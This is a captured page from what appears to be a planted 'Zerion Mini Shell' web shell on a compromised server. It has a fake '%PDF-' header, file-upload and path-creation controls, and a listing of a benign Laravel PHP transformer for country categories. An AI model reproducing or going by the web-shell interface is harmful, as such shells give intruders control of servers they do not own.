%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api/app/Transformers/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api/app/Transformers/MyCountryCategoryTransformer.php

<?php

namespace App\Transformers;

use App\Models\MyCountryCategory;

class MyCountryCategoryTransformer extends BaseTransformer
{
    /**
     * @param MyCountryCategory $category
     *
     * @return array
     */
    public function transform(MyCountryCategory $category)
    {
        return [
            'id'             => $category->id,
            'title'          => $category->title,
            'order'          => $category->order,
            'can_be_enabled' => $category->canBeEnabled(),
            'available_in'   => $category->translations()
                                         ->get()
                                         ->pluck('locale'),
        ];
    }
}

Zerion Mini Shell 1.0